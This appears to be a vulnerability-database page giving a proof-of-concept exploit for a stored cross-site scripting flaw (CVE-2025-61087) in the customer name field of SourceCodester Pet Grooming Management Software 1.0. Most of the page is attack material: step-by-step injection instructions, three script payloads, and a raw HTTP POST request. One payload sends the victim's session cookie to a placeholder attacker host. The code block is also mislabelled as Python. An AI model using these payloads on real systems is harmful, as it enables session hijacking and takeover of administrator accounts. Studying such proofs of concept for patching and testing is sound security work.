SourceCodester Pet Grooming Management Software 1.0 is vulnerable to Cross Site Scripting (XSS) via the Customer Name field under Customer Management Section.
SourceCodester Pet Grooming Management Software 1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-61087 PoC - Stored XSS in Customer Name Field -->
<!-- Target: SourceCodester Pet Grooming Management Software 1.0 -->
<!-- Vulnerable Parameter: Customer Name field under Customer Management Section -->
<!-- Step 1: Navigate to the Customer Management section -->
<!-- Step 2: Inject the following payload into the Customer Name field -->
<!-- Payload 1: Basic XSS to trigger alert -->
<script>alert('XSS-Vulnerability-CVE-2025-61087')</script>
<!-- Payload 2: Cookie stealing payload (for demonstration) -->
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
<!-- Payload 3: Event-based XSS using img tag -->
<img src=x onerror=alert(document.domain)>
<!-- Step 3: Submit the form to save the customer record -->
<!-- Step 4: When an admin views the customer list/details page, the XSS payload executes -->
<!-- HTTP Request Example (using curl) -->
/*
POST /customer_management.php HTTP/1.1
Host: target-server.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=valid_session
customer_name=<script>alert('XSS')</script>&phone=1234567890&[email protected]&address=test&submit=Save
*/